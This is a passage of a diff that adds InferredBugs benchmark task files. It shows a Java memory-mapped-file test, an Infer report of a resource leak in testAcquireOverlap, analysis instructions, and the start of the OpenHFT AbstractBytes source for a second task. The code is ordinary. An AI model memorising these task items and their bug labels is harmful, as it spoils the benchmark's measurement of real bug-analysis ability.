+            assertEquals(128, vmf.size());
+
+            buffer.release();
+            vmf.close();
+        }
+
+        {
+            VanillaMappedFile vmf = new VanillaMappedFile(
+                file,
+                VanillaMappedMode.RW);
+
+            VanillaMappedBuffer buffer = vmf.sliceOf(128);
+            assertEquals(1L, buffer.readLong(0));
+            assertEquals(128, vmf.size());
+
+            buffer.release();
+            vmf.close();
+        }
+
+        assertEquals(128,file.length());
+    }
+
+    @Test
+    public void testCleanup() throws IOException, InterruptedException {
+        File file = newTempraryFile("vmf-cleanup");
+        File dir  = file.getParentFile();
+
+        long free0 = dir.getFreeSpace();
+
+        VanillaMappedFile vmf = new VanillaMappedFile(
+            file,
+            VanillaMappedMode.RW);
+
+        VanillaMappedBlocks blocks = vmf.blocks(1024 * 1024);
+        VanillaMappedBuffer map0 = blocks.acquire(0);
+        VanillaMappedBuffer map1 = blocks.acquire(1);
+
+        map0.position(0);
+        while (map0.remaining() >= 8) {
+            map0.writeLong(0x123456789ABCDEFL);
+        }
+
+        map0.position(1);
+        while (map1.remaining() >= 8) {
+            map1.writeLong(0x123456789ABCDEFL);
+        }
+
+        long free1 = dir.getFreeSpace();
+
+        map0.release();
+        assertEquals(0,map0.refCount());
+        assertTrue(map0.unmapped());
+
+        map1.release();
+        assertEquals(0,map1.refCount());
+        assertTrue(map1.unmapped());
+
+        vmf.close();
+
+        long free2 = dir.getFreeSpace();
+
+        file.delete();
+
+        long free3 = 0;
+        for (int i = 0; i < 100; i++) {
+            free3 = dir.getFreeSpace();
+
+            System.out.println("Freed " + free0
+                + " ~ " + free1
+                + " ~ " + free2
+                + " ~ " + free3
+                + ", delete = " + file.delete()
+            );
+
+            if (free3 > free1) {
+                break;
+            }
+
+            Thread.sleep(500);
+        }
+
+        assertTrue("free3-free1: " + (free3 - free1), free3 > free1);
+
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.RandomAccessFile` acquired by call to `VanillaMappedFile(...)` at line 164 is not released after line 198.
+**Note**: potential exception at line 171
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void VanillaMappedFileTest.testAcquireOverlap()
+
+### Procedure Id:
+net.openhft.lang.io.VanillaMappedFileTest.testAcquireOverlap():void.cceced35ccea8c6080fc3eaf4ee057d5
+
+### File:
+lang-sandbox/src/test/java/net/openhft/lang/io/VanillaMappedFileTest.java
+
+### Key:
+VanillaMappedFileTest.java|testAcquireOverlap|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+156ac1a6f30ba8c587d6cbe4a164b10e
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3971/instruction.md b/inferredbugs-3971/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8a1880ff62f0446c138853725ad6f3bd150ee9f5
--- /dev/null
+++ b/inferredbugs-3971/instruction.md
@@ -0,0 +1,3339 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Java-Lang
+**Bug ID:** 22
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *     Copyright (C) 2015  higherfrequencytrading.com
+ *
+ *     This program is free software: you can redistribute it and/or modify
+ *     it under the terms of the GNU Lesser General Public License as published by
+ *     the Free Software Foundation, either version 3 of the License.
+ *
+ *     This program is distributed in the hope that it will be useful,
+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *     GNU Lesser General Public License for more details.
+ *
+ *     You should have received a copy of the GNU Lesser General Public License
+ *     along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package net.openhft.lang.io;
+
+import net.openhft.lang.Jvm;
+import net.openhft.lang.Maths;
+import net.openhft.lang.io.serialization.BytesMarshallableSerializer;
+import net.openhft.lang.io.serialization.BytesMarshallerFactory;
+import net.openhft.lang.io.serialization.JDKZObjectSerializer;
+import net.openhft.lang.io.serialization.ObjectSerializer;
+import net.openhft.lang.io.serialization.impl.StringBuilderPool;
+import net.openhft.lang.io.serialization.impl.VanillaBytesMarshallerFactory;
+import net.openhft.lang.io.view.BytesInputStream;
+import net.openhft.lang.io.view.BytesOutputStream;
+import net.openhft.lang.model.Byteable;
+import net.openhft.lang.pool.EnumInterner;
+import net.openhft.lang.pool.StringInterner;
+import org.jetbrains.annotations.NotNull;
+import org.jetbrains.annotations.Nullable;
+
+import java.io.*;
+import java.lang.reflect.Field;
+import java.math.BigInteger;
+import java.nio.BufferUnderflowException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.charset.Charset;
+import java.text.SimpleDateFormat;
+import java.util.*;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import static java.lang.Long.numberOfTrailingZeros;
+
+/**
+ * @author peter.lawrey
+ */
+@SuppressWarnings("MagicNumber")
+public abstract class AbstractBytes implements Bytes {
+    public static final int END_OF_BUFFER = -1;
+    public static final long UNSIGNED_INT_MASK = 0xFFFFFFFFL;
+    public static final int SLEEP_THRESHOLD = 20 * 1000 * 1000;
+    // todo add tests before using in ChronicleMap
+    static final int RW_LOCK_LIMIT = 30;
+    static final long RW_READ_LOCKED = 1L << 0;
+    static final long RW_WRITE_WAITING = 1L << RW_LOCK_LIMIT;
+    static final long RW_WRITE_LOCKED = 1L << 2 * RW_LOCK_LIMIT;
+    static final int RW_LOCK_MASK = (1 << RW_LOCK_LIMIT) - 1;
+    static final char[] HEXI_DECIMAL = "0123456789ABCDEF".toCharArray();
+    private static final long BUSY_LOCK_LIMIT = 20L * 1000 * 1000 * 1000;
+    private static final int INT_LOCK_MASK;
+    private static final int UNSIGNED_BYTE_MASK = 0xFF;
+    private static final int UNSIGNED_SHORT_MASK = 0xFFFF;
+    private static final int USHORT_EXTENDED = UNSIGNED_SHORT_MASK;
+    // extra 1 for decimal place.
+    private static final int MAX_NUMBER_LENGTH = 1 + (int) Math.ceil(Math.log10(Long.MAX_VALUE));
+    private static final byte[] RADIX_PARSE = new byte[256];
+    //private static final Logger LOGGER = Logger.getLogger(AbstractBytes.class.getName());
+    private static final Charset ISO_8859_1 = Charset.forName("ISO-8859-1");
+    private static final byte[] MIN_VALUE_TEXT = ("" + Long.MIN_VALUE).getBytes();
+    private static final byte[] Infinity = "Infinity".getBytes();
+    private static final byte[] NaN = "NaN".getBytes();
+    private static final long MAX_VALUE_DIVIDE_5 = Long.MAX_VALUE / 5;
+    private static final byte BYTE_MIN_VALUE = Byte.MIN_VALUE;
+    private static final byte BYTE_EXTENDED = Byte.MIN_VALUE + 1;
+    private static final byte BYTE_MAX_VALUE = Byte.MIN_VALUE + 2;
+    private static final short UBYTE_EXTENDED = 0xff;
+    private static final short SHORT_MIN_VALUE = Short.MIN_VALUE;
+    private static final short SHORT_EXTENDED = Short.MIN_VALUE + 1;
+    private static final short SHORT_MAX_VALUE = Short.MIN_VALUE + 2;
+    // RandomDataInput
+    private static final int INT_MIN_VALUE = Integer.MIN_VALUE;
+    private static final int INT_EXTENDED = Integer.MIN_VALUE + 1;
+    private static final int INT_MAX_VALUE = Integer.MIN_VALUE + 2;
+    private static final long MAX_VALUE_DIVIDE_10 = Long.MAX_VALUE / 10;
+    private static final byte[] RADIX = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ".getBytes();
+    private static final StringBuilderPool sbp = new StringBuilderPool();
+    private static final ThreadLocal<DateCache> dateCacheTL = new ThreadLocal<DateCache>();
+    private static final FastStringOperations STRING_OPS = createFastStringOperations();
+    private static boolean ID_LIMIT_WARNED = false;
+
+    static {
+        Arrays.fill(RADIX_PARSE, (byte) -1);
+        for (int i = 0; i < 10; i++)
+            RADIX_PARSE['0' + i] = (byte) i;
+        for (int i = 0; i < 26; i++)
+            RADIX_PARSE['A' + i] = RADIX_PARSE['a' + i] = (byte) (i + 10);
+        INT_LOCK_MASK = 0xFFFFFF;
+    }
+
+    final AtomicInteger refCount;
+    private final byte[] numberBuffer = new byte[MAX_NUMBER_LENGTH];
+    protected boolean finished;
+    volatile Thread singleThread = null;
+    private ObjectSerializer objectSerializer;
+    private StringInterner stringInterner = null;
+    private boolean selfTerminating = false;
+
+    AbstractBytes() {
+        this(new VanillaBytesMarshallerFactory(), new AtomicInteger(1));
+    }
+
+    AbstractBytes(BytesMarshallerFactory bytesMarshallerFactory, AtomicInteger refCount) {
+        this(BytesMarshallableSerializer.create(bytesMarshallerFactory, JDKZObjectSerializer.INSTANCE), refCount);
+    }
+
+    AbstractBytes(ObjectSerializer objectSerializer, AtomicInteger refCount) {
+        this.finished = false;
+        this.refCount = refCount;
+        setObjectSerializer(objectSerializer);
+    }
+
+    private static boolean equalsCaseIgnore(StringBuilder sb, String s) {
+        if (sb.length() != s.length())
+            return false;
+        for (int i = 0; i < s.length(); i++)
+            if (Character.toLowerCase(sb.charAt(i)) != s.charAt(i))
+                return false;
+        return true;
+    }
+
+    private static double asDouble(long value, int exp, boolean negative, int decimalPlaces) {
+        if (decimalPlaces > 0 && value < Long.MAX_VALUE / 2) {
+            if (value < Long.MAX_VALUE / (1L << 32)) {
+                exp -= 32;
+                value <<= 32;
+            }
+            if (value < Long.MAX_VALUE / (1L << 16)) {
+                exp -= 16;
+                value <<= 16;
+            }
+            if (value < Long.MAX_VALUE / (1L << 8)) {
+                exp -= 8;
+                value <<= 8;
+            }
+            if (value < Long.MAX_VALUE / (1L << 4)) {
+                exp -= 4;
+                value <<= 4;
+            }
+            if (value < Long.MAX_VALUE / (1L << 2)) {
+                exp -= 2;
+                value <<= 2;
+            }
+            if (value < Long.MAX_VALUE / (1L << 1)) {
+                exp -= 1;
+                value <<= 1;
+            }
+        }
+        for (; decimalPlaces > 0; decimalPlaces--) {
+            exp--;
+            long mod = value % 5;
+            value /= 5;
+            int modDiv = 1;
+            if (value < Long.MAX_VALUE / (1L << 4)) {
+                exp -= 4;
+                value <<= 4;
+                modDiv <<= 4;
+            }
+            if (value < Long.MAX_VALUE / (1L << 2)) {
+                exp -= 2;
+                value <<= 2;
+                modDiv <<= 2;
+            }
+            if (value < Long.MAX_VALUE / (1L << 1)) {
+                exp -= 1;
+                value <<= 1;
+                modDiv <<= 1;
+            }
+            if (decimalPlaces > 1)
+                value += modDiv * mod / 5;
+            else
+                value += (modDiv * mod + 4) / 5;
+        }
+        final double d = Math.scalb((double) value, exp);
+        return negative ? -d : d;
+    }
+
+    private static void warnIdLimit(long id) {
+        LoggerHolder.LOGGER.log(Level.WARNING, "High thread id may result in collisions id: " + id);
+
+        ID_LIMIT_WARNED = true;
+    }
+
+    static int returnOrThrowEndOfBuffer(boolean selfTerminating) {
+        if (selfTerminating) return END_OF_BUFFER;
+        throw new BufferUnderflowException();
+    }
+
+    public static void readUTF2(Bytes bytes, @NotNull Appendable appendable, int utflen, int count) throws IOException {
+        while (count < utflen) {
+            int c = bytes.readUnsignedByte();
+            switch (c >> 4) {
+                case 0:
+                case 1:
+                case 2:
+                case 3:
+                case 4:
+                case 5:
+                case 6:
+                case 7:
+                /* 0xxxxxxx */
+                    count++;
+                    appendable.append((char) c);
+                    break;
+
+                case 12:
+                case 13: {
+                /* 110x xxxx 10xx xxxx */
+                    count += 2;
+                    if (count > utflen)
+                        throw new UTFDataFormatException(
+                                "malformed input: partial character at end");
+                    int char2 = bytes.readUnsignedByte();
+                    if ((char2 & 0xC0) != 0x80)
+                        throw new UTFDataFormatException(
+                                "malformed input around byte " + count + " was " + char2);
+                    int c2 = (char) (((c & 0x1F) << 6) |
+                            (char2 & 0x3F));
+                    appendable.append((char) c2);
+                    break;
+                }
+
+                case 14: {
+                /* 1110 xxxx 10xx xxxx 10xx xxxx */
+                    count += 3;
+                    if (count > utflen)
+                        throw new UTFDataFormatException(
+                                "malformed input: partial character at end");
+                    int char2 = bytes.readUnsignedByte();
+                    int char3 = bytes.readUnsignedByte();
+
+                    if (((char2 & 0xC0) != 0x80) || ((char3 & 0xC0) != 0x80))
+                        throw new UTFDataFormatException(
+                                "malformed input around byte " + (count - 1) + " was " + char2 + " " + char3);
+                    int c3 = (char) (((c & 0x0F) << 12) |
+                            ((char2 & 0x3F) << 6) |
+                            (char3 & 0x3F));
+                    appendable.append((char) c3);
+                    break;
+                }
+
+                default:
+                /* 10xx xxxx, 1111 xxxx */
+                    throw new UTFDataFormatException(
+                            "malformed input around byte " + count);
+            }
+        }
+    }
+
+    public static long findUTFLength(@NotNull CharSequence str) {
+        if (str instanceof String)
+            return findUTFLength((String) str);
+        int strlen = str.length();
+        long utflen = strlen;
+
+        for (int i = 0; i < strlen; i++) {
+            char c = str.charAt(i);
+            if ((c > 0x007F)) {
+                if (c > 0x07FF) {
+                    utflen += 2;
+
+                } else {
+                    utflen += 1;
+                }
+            }
+        }
+        return utflen;
+    }
+
+    public static long findUTFLength(@NotNull CharSequence str, int strlen) {
+        long utflen = 0L;
+
+        for (int i = 0; i < strlen; ++i) {
+            long c = (long) str.charAt(i);
+            if (c >= 0L && c <= 127L) {
+                ++utflen;
+            } else if (c > 2047L) {
+                utflen += 3L;
+            } else {
+                utflen += 2L;
+            }
+        }
+
+        return utflen;
+    }
+
+    public static long findUTFLength(@NotNull String str) {
+        return STRING_OPS.getUtf8EncodedStringLength(str);
+    }
+
+    private static FastStringOperations createFastStringOperations() {
+        try {
+            return new FastStringOperations16();
+        } catch (Exception e) {
+            // do nothing
+        }
+
+        try {
+            return new FastStringOperations17();
+        } catch (Exception e) {
+            throw new AssertionError(e);
+        }
+    }
+
+    public static void writeUTF0(Bytes bytes, @NotNull CharSequence str, int strlen) {
+        if (bytes instanceof DirectBytes) {
+            DirectBytes db = (DirectBytes) bytes;
+            if (str instanceof String)
+                writeUTF1(db, STRING_OPS.extractChars((String) str), strlen);
+            else
+                writeUTF1(db, str, strlen);
+        } else {
+            writeUTF1(bytes, str, strlen);
+        }
+    }
+
+    static void writeUTF1(DirectBytes bytes, @NotNull CharSequence str, int strlen) {
+        int c;
+        int i;
+        for (i = 0; i < strlen; i++) {
+            c = str.charAt(i);
+            if (!((c >= 0x0000) && (c <= 0x007F)))
+//            if (c + Integer.MIN_VALUE - 1 <= Integer.MIN_VALUE + 0x007F-1)
+                break;
+            NativeBytes.UNSAFE.putByte(bytes.positionAddr + i, (byte) c);
+        }
+        bytes.skip(i);
+        if (i < strlen)
+            writeUTF2(bytes, str, strlen, i);
+    }
+
+    static void writeUTF1(DirectBytes bytes, @NotNull char[] chars, int strlen) {
+        int c;
+        int i;
+        ascii:
+        {
+            for (i = 0; i < strlen; i++) {
+                c = chars[i];
+                if (!((c >= 0x0000) && (c <= 0x007F)))
+                    break ascii;
+                NativeBytes.UNSAFE.putByte(bytes.positionAddr + i, (byte) c);
+            }
+            bytes.skip(i);
+            return;
+        }
+        bytes.skip(i);
+        if (i < strlen)
+            writeUTF2(bytes, chars, strlen, i);
+    }
+
+    public static void writeUTF1(Bytes bytes, @NotNull CharSequence str, int strlen) {
+        int c;
+        int i;
+        for (i = 0; i < strlen; i++) {
+            c = str.charAt(i);
+            if (!((c >= 0x0000) && (c <= 0x007F)))
+                break;
+            bytes.write(c);
+        }
+        if (i < strlen)
+            writeUTF2(bytes, str, strlen, i);
+    }
+
+    private static void writeUTF2(Bytes bytes, CharSequence str, int strlen, int i) {
+        int c;
+        for (; i < strlen; i++) {
+            c = str.charAt(i);
+            writeUTFchar(bytes, c);
+        }
+    }
+
+    private static void writeUTFchar(Bytes bytes, int c) {
+        if ((c >= 0x0000) && (c <= 0x007F)) {
+            bytes.write(c);
+
+        } else if (c > 0x07FF) {
+            bytes.write((byte) (0xE0 | ((c >> 12) & 0x0F)));
+            bytes.write((byte) (0x80 | ((c >> 6) & 0x3F)));
+            bytes.write((byte) (0x80 | (c & 0x3F)));
+
+        } else {
+            bytes.write((byte) (0xC0 | ((c >> 6) & 0x1F)));
+            bytes.write((byte) (0x80 | c & 0x3F));
+        }
+    }
+
+    private static void writeUTF2(Bytes bytes, char[] str, int strlen, int i) {
+        int c;
+        for (; i < strlen; i++) {
+            c = str[i];
+            writeUTFchar(bytes, c);
+        }
+    }
+
+    static void checkArrayOffs(int arrayLength, int off, int len) {
+        if ((len | off) < 0 | ((off + len) & 0xffffffffL) > arrayLength)
+            throw new IndexOutOfBoundsException();
+    }
+
+    /**
+     * display the hex data of {@link Bytes} from the position() to the limit()
+     *
+     * @param buffer the buffer you wish to toString()
+     * @return hex representation of the buffer, from example [0D ,OA, FF]
+     */
+    public static String toHex(@NotNull final Bytes buffer) {
+        if (buffer.remaining() == 0)
+            return "";
+
+        final Bytes slice = buffer.slice();
+        final StringBuilder builder = new StringBuilder("[");
+
+        while (slice.remaining() > 0) {
+            final byte b = slice.readByte();
+            builder.append(((char) b) + "(" + String.format("%02X ", b).trim() + ")");
+            builder.append(",");
+        }
+
+        // remove the last comma
+        builder.deleteCharAt(builder.length() - 1);
+        builder.append("]");
+        return builder.toString();
+    }
+
+    /**
+     * display the buffer as a string
+     *
+     * @param buffer the buffer you wish to toString()
+     * @return hex representation of the buffer, from example [0D ,OA, FF]
+     */
+    public static String toString(@NotNull final Bytes buffer) {
+        final Bytes slice = buffer.slice();
+        final StringBuilder builder = new StringBuilder("");
+
+        while (slice.remaining() > 0) {
+            final byte b = slice.readByte();
+            builder.append((char) b);
+        }
+        return builder.toString();
+    }
+
+    static int rwReadLocked(long lock) {
+        return (int) (lock & RW_LOCK_MASK);
+    }
+
+    static int rwWriteWaiting(long lock) {
+        return (int) ((lock >>> RW_LOCK_LIMIT) & RW_LOCK_MASK);
+    }
+
+    static int rwWriteLocked(long lock) {
+        return (int) (lock >>> (2 * RW_LOCK_LIMIT));
+    }
+
+    public static String toHexString(@NotNull final Bytes bytes, long offset, long len) throws BufferUnderflowException {
+        if (len == 0)
+            return "";
+
+        int width = 16;
+        int[] lastLine = new int[width];
+        String sep = "";
+        long position = bytes.position();
+        long limit = bytes.limit();
+
+        try {
+
+            bytes.limit(offset + len);
+            bytes.position(offset);
+
+            final StringBuilder builder = new StringBuilder();
+            long start = offset / width * width;
+            long end = (offset + len + width - 1) / width * width;
+            for (long i = start; i < end; i += width) {
+                // check for duplicate rows
+                if (i + width < end) {
+                    boolean same = true;
+
+                    for (int j = 0; j < width && i + j < offset + len; j++) {
+                        int ch = bytes.readUnsignedByte(i + j);
+                        same &= (ch == lastLine[j]);
+                        lastLine[j] = ch;
+                    }
+                    if (i > start && same) {
+                        sep = "........\n";
+                        continue;
+                    }
+                }
+                builder.append(sep);
+                sep = "";
+                String str = Long.toHexString(i);
+                for (int j = str.length(); j < 8; j++)
+                    builder.append('0');
+                builder.append(str);
+                for (int j = 0; j < width; j++) {
+                    if (j == width / 2)
+                        builder.append(' ');
+                    if (i + j < start || i + j >= offset + len) {
+                        builder.append("   ");
+
+                    } else {
+                        builder.append(' ');
+                        int ch = bytes.readUnsignedByte(i + j);
+                        builder.append(HEXI_DECIMAL[ch >> 4]);
+                        builder.append(HEXI_DECIMAL[ch & 15]);
+                    }
+                }
+                builder.append(' ');
+                for (int j = 0; j < width; j++) {
+                    if (j == width / 2)
+                        builder.append(' ');
+                    if (i + j < start || i + j >= offset + len) {
+                        builder.append(' ');
+
+                    } else {
+                        int ch = bytes.readUnsignedByte(i + j);
+                        if (ch < ' ' || ch > 126)
+                            ch = '\u00B7';
+                        builder.append((char) ch);
+                    }
+                }
+                builder.append("\n");
+            }
+            return builder.toString();
+        } finally {
+            bytes.limit(limit);
+            bytes.position(position);
+        }
+    }
+
+    protected void setObjectSerializer(ObjectSerializer objectSerializer) {
+        this.objectSerializer = objectSerializer;
+    }
+
+    /**
+     * clearing the volatile singleThread is a write barrier.
+     */
+    @Override
+    public void clearThreadAssociation() {
+        singleThread = null;
+    }
+
+    boolean checkSingleThread() {
+        Thread t = Thread.currentThread();
+        if (singleThread != t)
+            setThreadOrThrowException(t);
+        return true;
+    }
+
+    private void setThreadOrThrowException(Thread t) {
+        if (singleThread == null)
+            singleThread = t;
+        else
+            throw new IllegalStateException("Altered by thread " + singleThread + " and " + t);
+    }
+
+    public void readUTF0(@NotNull Appendable appendable, int utflen)
+            throws IOException {
+        int count = 0;
+
+        while (count < utflen) {
+            int c = readUnsignedByteOrThrow();
+            if (c >= 128) {
+                position(position() - 1);
+                readUTF2(this, appendable, utflen, count);
+                break;
+            }
+            count++;
+            appendable.append((char) c);
+        }
+    }
+
+    @Override
+    public boolean read8bitText(@NotNull StringBuilder stringBuilder) throws StreamCorruptedException {
+        long len = readStopBit();
+        if (len < 1) {
+            stringBuilder.setLength(0);
+            if (len == -1)
+                return false;
+            if (len == 0)
+                return true;
+            throw new StreamCorruptedException("UTF length invalid " + len + " remaining: " + remaining());
+        }
+        if (len > remaining() || len > Integer.MAX_VALUE)
+            throw new StreamCorruptedException("UTF length invalid " + len + " remaining: " + remaining());
+        int ilen = (int) len;
+        for (int i = 0; i < ilen; i++)
+            stringBuilder.append((char) readUnsignedByte());
+        return true;
+    }
+
+    @Override
+    public void write8bitText(@Nullable CharSequence s) {
+        if (s == null) {
+            writeStopBit(-1);
+            return;
+        }
+        writeStopBit(s.length());
+        for (int i = 0; i < s.length(); i++)
+            writeUnsignedByte(s.charAt(i));
+    }
+
+    @Override
+    public long size() {
+        return capacity();
+    }
+
+    @Override
+    public void free() {
+        throw new UnsupportedOperationException("Forcing a free() via Bytes is unsafe, try reserve() + release()");
+    }
+
+    @Override
+    public void reserve() {
+        if (refCount.get() < 1) throw new IllegalStateException();
+        refCount.incrementAndGet();
+    }
+
+    @Override
+    public boolean release() {
+        if (refCount.get() < 1) throw new IllegalStateException();
+        if (refCount.decrementAndGet() > 0) return false;
+        cleanup();
+        return true;
+    }
+
+    protected abstract void cleanup();
+
+    @Override
+    public int refCount() {
+        return refCount.get();
+    }
+
+    StringInterner stringInterner() {
+        if (stringInterner == null)
+            stringInterner = new StringInterner(8 * 1024);
+        return stringInterner;
+    }
+
+    @Override
+    public void selfTerminating(boolean selfTerminating) {
+        this.selfTerminating = selfTerminating;
+    }
+
+    // RandomDataOutput
+
+    @Override
+    public boolean selfTerminating() {
+        return selfTerminating;
+    }
+
+    @Override
+    public int readUnsignedByteOrThrow() throws BufferUnderflowException {
+        return readByteOrThrow(selfTerminating);
+    }
+
+    public int readByteOrThrow(boolean selfTerminating) throws BufferUnderflowException {
+        return remaining() < 1 ? returnOrThrowEndOfBuffer(selfTerminating) : readUnsignedByte();
+    }
+
+    @Override
+    public Boolean parseBoolean(@NotNull StopCharTester tester) {
+        StringBuilder sb = acquireStringBuilder();
+        parseUtf8(sb, tester);
+        if (sb.length() == 0)
+            return null;
+        switch (sb.charAt(0)) {
+            case 't':
+            case 'T':
+                return sb.length() == 1 || equalsCaseIgnore(sb, "true") ? true : null;
+            case 'y':
+            case 'Y':
+                return sb.length() == 1 || equalsCaseIgnore(sb, "yes") ? true : null;
+            case '0':
+                return sb.length() == 1 ? false : null;
+            case '1':
+                return sb.length() == 1 ? true : null;
+            case 'f':
+            case 'F':
+                return sb.length() == 1 || equalsCaseIgnore(sb, "false") ? false : null;
+            case 'n':
+            case 'N':
+                return sb.length() == 1 || equalsCaseIgnore(sb, "no") ? false : null;
+        }
+        return null;
+    }
+
+    @Override
+    public void readFully(@NotNull byte[] bytes) {
+        readFully(bytes, 0, bytes.length);
+    }
+
+    @Override
+    public void readFully(@NotNull char[] data) {
+        readFully(data, 0, data.length);
+    }
+
+    @Override
+    public int skipBytes(int n) {
+        return (int) skip(n);
+    }
+
+    @Override
+    public boolean readBoolean() {
+        return readByteOrThrow(false) != 0;
+    }
+
+    @Override
+    public boolean readBoolean(long offset) {
+        return readByte(offset) != 0;
+    }
+
+    @Override
+    public int readUnsignedByte() {
+        return readByte() & UNSIGNED_BYTE_MASK;
+    }
+
+    @Override
+    public int readUnsignedByte(long offset) {
+        return readByte(offset) & UNSIGNED_BYTE_MASK;
+    }
+
+    @Override
+    public int readUnsignedShort() {
+        return readShort() & UNSIGNED_SHORT_MASK;
+    }
+
+    @Override
+    public int readUnsignedShort(long offset) {
+        return readShort(offset) & UNSIGNED_SHORT_MASK;
+    }
+
+    @NotNull
+    @Override
+    public String readLine() {
+        StringBuilder input = acquireStringBuilder();
+        EOL:
+        while (position() < capacity()) {
+            int c = readUnsignedByteOrThrow();
+            switch (c) {
+                case END_OF_BUFFER:
+                case '\n':
+                    break EOL;
+                case '\r':
+                    long cur = position();
+                    if (cur < capacity() && readByte(cur) == '\n')
+                        position(cur + 1);
+                    break EOL;
+                default:
+                    input.append((char) c);
+                    break;
+            }
+        }
+        return stringInterner().intern(input);
+    }
+
+    @Nullable
+    @Override
+    public String readUTFΔ() {
+        StringBuilder utfReader = acquireStringBuilder();
+        if (readUTFΔ(utfReader))
+            return utfReader.length() == 0 ? "" : stringInterner().intern(utfReader);
+        return null;
+    }
+
+    // locking at it temporarily changes position.
+    // todo write a version without changing the position.
+    @Nullable
+    @Override
+    public synchronized String readUTFΔ(long offset) throws IllegalStateException {
+        long position = position();
+        try {
+            position(offset);
+            return readUTFΔ();
+        } finally {
+            position(position);
+        }
+    }
+
+    @NotNull
+    private StringBuilder acquireStringBuilder() {
+        return sbp.acquireStringBuilder();
+    }
+
+    @Override
+    public boolean readUTFΔ(@NotNull StringBuilder stringBuilder) {
+        try {
+            stringBuilder.setLength(0);
+            return appendUTF0(stringBuilder);
+        } catch (IOException unexpected) {
+            throw new IllegalStateException(unexpected);
+        }
+    }
+
+    @SuppressWarnings("MagicNumber")
+    private boolean appendUTF0(@NotNull Appendable appendable) throws IOException {
+        long len = readStopBit();
+        if (len == -1)
+            return false;
+        else if (len == 0)
+            return true;
+        if (len < -1 || len > remaining())
+            throw new StreamCorruptedException("UTF length invalid " + len + " remaining: " + remaining());
+        int utflen = (int) len;
+        readUTF0(appendable, utflen);
+        return true;
+    }
+
+    @NotNull
+    @Override
+    public String parseUtf8(@NotNull StopCharTester tester) {
+        StringBuilder utfReader = acquireStringBuilder();
+        parseUtf8(utfReader, tester);
+        return stringInterner().intern(utfReader);
+    }
+
+    @Override
+    public void parseUtf8(@NotNull StringBuilder builder, @NotNull StopCharTester tester) {
+        builder.setLength(0);
+        try {
+            readUTF0(builder, tester);
+        } catch (IOException e) {
+            throw new AssertionError(e);
+        }
+    }
+
+    private void readUTF0(@NotNull Appendable appendable, @NotNull StopCharTester tester) throws IOException {
+        while (true) {
+            int c = readUnsignedByteOrThrow();
+            if (c >= 128) {
+                position(position() - 1);
+                readUTF2(appendable, tester);
+                break;
+            }
+            if (tester.isStopChar(c))
+                return;
+            appendable.append((char) c);
+        }
+    }
+
+    // used by Chronicle Map 3.x
+    public void readUTF2(@NotNull Appendable appendable, @NotNull StopCharTester tester) throws IOException {
+        while (true) {
+            int c = readUnsignedByteOrThrow();
+            switch (c >> 4) {
+                case 0:
+                case 1:
+                case 2:
+                case 3:
+                case 4:
+                case 5:
+                case 6:
+                case 7:
+                /* 0xxxxxxx */
+                    if (tester.isStopChar(c))
+                        return;
+                    appendable.append((char) c);
+                    break;
+
+                case 12:
+                case 13: {
+                /* 110x xxxx 10xx xxxx */
+                    int char2 = readUnsignedByte();
+                    if ((char2 & 0xC0) != 0x80)
+                        throw new UTFDataFormatException(
+                                "malformed input around byte");
+                    int c2 = (char) (((c & 0x1F) << 6) |
+                            (char2 & 0x3F));
+                    if (tester.isStopChar(c2))
+                        return;
+                    appendable.append((char) c2);
+                    break;
+                }
+
+                case 14: {
+                /* 1110 xxxx 10xx xxxx 10xx xxxx */
+                    int char2 = readUnsignedByte();
+                    int char3 = readUnsignedByte();
+
+                    if (((char2 & 0xC0) != 0x80) || ((char3 & 0xC0) != 0x80))
+                        throw new UTFDataFormatException(
+                                "malformed input around byte ");
+                    int c3 = (char) (((c & 0x0F) << 12) |
+                            ((char2 & 0x3F) << 6) |
+                            (char3 & 0x3F));
+                    if (tester.isStopChar(c3))
+                        return;
+                    appendable.append((char) c3);
+                    break;
+                }
+
+                default:
+                /* 10xx xxxx, 1111 xxxx */
+                    throw new UTFDataFormatException(
+                            "malformed input around byte ");
+            }
+        }
+    }
+
+    @Override
+    public boolean stepBackAndSkipTo(@NotNull StopCharTester tester) {
+        if (position() > 0)
+            position(position() - 1);
+        return skipTo(tester);
+    }
+
+    @Override
+    public boolean skipTo(@NotNull StopCharTester tester) {
+        while (remaining() > 0) {
+            int ch = readUnsignedByteOrThrow();
+            if (tester.isStopChar(ch))
+                return true;
+        }
+        return false;
+    }
+
+    @NotNull
+    @Override
+    public String readUTF() {
+        try {
+            int len = readUnsignedShort();
+            StringBuilder utfReader = acquireStringBuilder();
+            readUTF0(utfReader, len);
+            return utfReader.length() == 0 ? "" : stringInterner().intern(utfReader);
+        } catch (IOException unexpected) {
+            throw new AssertionError(unexpected);
+        }
+    }
+
+    @Override
+    public short readCompactShort() {
+        byte b = readByte();
+        switch (b) {
+            case BYTE_MIN_VALUE:
+                return Short.MIN_VALUE;
+            case BYTE_MAX_VALUE:
